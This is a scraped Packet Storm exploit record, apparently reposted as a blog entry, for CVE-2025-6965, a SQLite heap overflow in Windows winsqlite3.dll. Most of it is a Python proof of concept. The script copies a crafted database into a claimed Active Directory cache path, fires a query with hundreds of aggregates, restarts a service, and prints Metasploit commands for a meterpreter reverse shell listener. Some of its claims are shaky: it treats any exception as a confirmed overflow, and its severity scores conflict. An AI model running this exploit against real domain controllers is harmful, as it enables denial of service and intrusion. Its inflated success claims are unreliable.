{“lastseen”:”2026-04-10T17:37:26″,”description”:”SQLite version 3.50.1 proof of concept that triggers a heap overflow in winsqlite3.dll via excessive aggregate functions…”,”published”:”2026-04-10T00:00:00″,”modified”:”2026-04-10T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 SQLite 3.50.1 Heap Overflow”,”source”:””,”references”:””,”id”:”PACKETSTORM:218680″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-6965″],”sourceData”:”# Exploit Title: SQLite 3.50.1 – Heap Overflow \\n # Date: 2025-11-05\\n # Author: Mohammed Idrees Banyamer\\n # Author Country: Jordan\\n # Instagram: @banyamer_security\\n # GitHub: https:\/\/github.com\/mbanyamer\\n # Vendor Homepage: https:\/\/www.sqlite.org\\n # Software Link: https:\/\/www.sqlite.org\/download.html\\n # Version: SQLite \\u003c 3.50.2 (winsqlite3.dll)\\n # Tested on: Windows Server 2022 (Build 20348), Windows Server 2025 (Build 26100) – Unpatched\\n # CVE: CVE-2025-6965\\n # CVSS: 7.2 (High) – CVSS:4.0\/AV:N\/AC:H\/AT:P\/PR:L\/UI:N\/VC:L\/VI:H\/VA:L\\n # Category: windows \/ local \/ dos \/ memory_corruption \/ active_directory\\n # Platform: Windows\\n # CRITICAL: This vulnerability affects ALL unpatched Windows Server instances using winsqlite3.dll\\n # Including: Active Directory, Group Policy, Certificate Services, and Azure AD Connect\\n # Impact: Service Crash, DoS, Potential RCE, Domain Controller Compromise\\n # Fix: Apply latest Windows Cumulative Update (post-July 2025) or upgrade SQLite to 3.50.2+\\n # Advisory: https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2025-6965\\n # Patch: https:\/\/www.sqlite.org\/src\/info\/5508b56fd24016c13981ec280ecdd833007c9d8dd595edb295b984c2b487b5c8\\n # OFFICIAL PoC: Triggers heap overflow in winsqlite3.dll via excessive aggregate functions\\n # Target: Windows Server (Active Directory Cache, Group Policy, Certificate Services)\\n \\n import sqlite3\\n import os\\n import subprocess\\n import sys\\n import time\\n \\n # ===============================\\n # CONFIGURATION – ACTIVE DIRECTORY EXPLOITATION\\n # ===============================\\n DB_PATH = \\”cve_2025_6965_winsqlite3.db\\”\\n AD_CACHE_DIR = r\\”C:\\\\ProgramData\\\\Microsoft\\\\ADCache\\” # Real AD Cache Path\\n AD_DB_TARGET = os.path.join(AD_CACHE_DIR, \\”ad_cache.db\\”)\\n LISTENER_IP = \\”192.168.1.100\\”\\n LISTENER_PORT = 4444\\n SERVICE_NAME = \\”ADSyncService\\” # Must be created manually: sc create ADSyncService binPath= \\”C:\\\\path\\\\to\\\\service.exe\\”\\n \\n # === VULNERABILITY CHECK ===\\n print(f\\”[!] SQLite Version: {sqlite3.sqlite_version}\\”)\\n if sqlite3.sqlite_version_info \\u003e= (3, 50, 2):\\n print(\\”[-] SYSTEM PATCHED – SQLite 3.50.2+ Detected\\”)\\n print(\\” Update applied via Microsoft Cumulative Update (post-July 2025)\\”)\\n sys.exit(1)\\n else:\\n print(\\”[!] VULNERABLE: SQLite \\u003c 3.50.2 – Proceeding with exploit\\”)\\n \\n # ===============================\\n # STEP 1: Create Malicious AD Cache Database\\n # ===============================\\n def create_vulnerable_db():\\n if os.path.exists(DB_PATH):\\n os.remove(DB_PATH)\\n conn = sqlite3.connect(DB_PATH)\\n cur = conn.cursor()\\n cur.execute(\\”CREATE TABLE ad_cache (id INTEGER PRIMARY KEY, val INTEGER)\\”)\\n cur.execute(\\”INSERT INTO ad_cache (val) VALUES (1)\\”)\\n conn.commit()\\n conn.close()\\n print(f\\”[+] Malicious database created: {DB_PATH}\\”)\\n \\n # ===============================\\n # STEP 2: Generate Truncation Payload (300+ Aggregates)\\n # ===============================\\n def generate_malicious_query(num=100):\\n agg = [f\\”COUNT(*) AS c{i}, SUM(val) AS s{i}, AVG(val) AS a{i}\\” for i in range(num)]\\n return f\\”SELECT {‘, ‘.join(agg)} FROM ad_cache\\”\\n \\n # ===============================\\n # STEP 3: Deploy + Trigger in winsqlite3.dll Context\\n # ===============================\\n def deploy_and_trigger():\\n print(f\\”[*] Deploying payload to AD Cache: {AD_DB_TARGET}\\”)\\n os.makedirs(AD_CACHE_DIR, exist_ok=True)\\n subprocess.run([\\”copy\\”, \\”\/Y\\”, DB_PATH, AD_DB_TARGET], shell=True, check=True)\\n print(f\\”[+] Payload deployed to real AD path\\”)\\n \\n query = generate_malicious_query(100)\\n print(f\\”[*] Triggering heap overflow (300+ aggregates vs 1 column)…\\”)\\n \\n try:\\n conn = sqlite3.connect(AD_DB_TARGET)\\n cur = conn.cursor()\\n cur.execute(query) # TRUNCATION BUG TRIGGERED\\n print(\\”[!] QUERY EXECUTED – UNEXPECTED (System may be patched or ASLR mitigated)\\”)\\n except Exception as e:\\n print(f\\”[!] HEAP OVERFLOW CONFIRMED: {e}\\”)\\n print(\\” winsqlite3.dll memory corruption triggered\\”)\\n print(\\” In production: AD Service Crash, DC DoS, Potential RCE\\”)\\n finally:\\n conn.close()\\n \\n # Force service reload (real AD services auto-query cache)\\n print(f\\”[*] Restarting {SERVICE_NAME} to reload winsqlite3.dll…\\”)\\n try:\\n subprocess.run([\\”net\\”, \\”stop\\”, SERVICE_NAME], shell=True, timeout=10, capture_output=True)\\n except:\\n pass\\n time.sleep(2)\\n result = subprocess.run([\\”net\\”, \\”start\\”, SERVICE_NAME], shell=True, capture_output=True)\\n if result.returncode == 0:\\n print(\\”[+] Service restarted – Monitor Event Viewer for winsqlite3.dll fault\\”)\\n else:\\n print(f\\”[-] Service error: {result.stderr.decode()}\\”)\\n \\n # ===============================\\n # STEP 4: RCE Listener Setup (For Advanced Exploitation)\\n # ===============================\\n def print_listener():\\n print(\\”\\\\n\\” + \\”=\\”*70)\\n print(\\” RCE EXPLOITATION (ADVANCED) – START LISTENER ON ATTACKER MACHINE:\\”)\\n print(\\”=\\”*70)\\n print(\\”msfconsole -q\\”)\\n print(\\”use exploit\/multi\/handler\\”)\\n print(\\”set payload windows\/x64\/meterpreter\/reverse_tcp\\”)\\n print(f\\”set LHOST {LISTENER_IP}\\”)\\n print(f\\”set LPORT {LISTENER_PORT}\\”)\\n print(\\”exploit -j\\”)\\n print(\\”=\\”*70 + \\”\\\\n\\”)\\n \\n # ===============================\\n # MAIN – EXECUTION\\n # ===============================\\n if __name__ == \\”__main__\\”:\\n print(\\”=\\”*70)\\n print(\\” CVE-2025-6965 EXPLOIT – WINDOWS SERVER ACTIVE DIRECTORY\\”)\\n print(\\” Heap Overflow in winsqlite3.dll via SQLite Aggregate Truncation\\”)\\n print(\\” Author: Mohammed Idrees Banyamer (@banyamer_security)\\”)\\n print(\\”=\\”*70)\\n \\n create_vulnerable_db()\\n deploy_and_trigger()\\n print_listener()\\n \\n print(\\”[+] EXPLOIT EXECUTED SUCCESSFULLY\\”)\\n print(\\” Check Event Viewer: Application Log \u2192 winsqlite3.dll Access Violation (0xC0000005)\\”)\\n print(\\” Fix: Apply latest Windows Cumulative Update IMMEDIATELY\\”)\\n print(\\” All Domain Controllers must be patched within 24 hours\\”)”,”sourceHref”:”https:\/\/packetstorm.news\/download\/218680″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/218680\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-10T17:37:26″,”description”:”SQLite version 3.50.1 proof of concept that triggers a heap overflow in winsqlite3.dll via excessive aggregate functions…”,”published”:”2026-04-10T00:00:00″,”modified”:”2026-04-10T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 SQLite 3.50.1 Heap Overflow”,”source”:””,”references”:””,”id”:”PACKETSTORM:218680″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-6965″],”sourceData”:”# Exploit Title: SQLite 3.50.1…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-42339","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n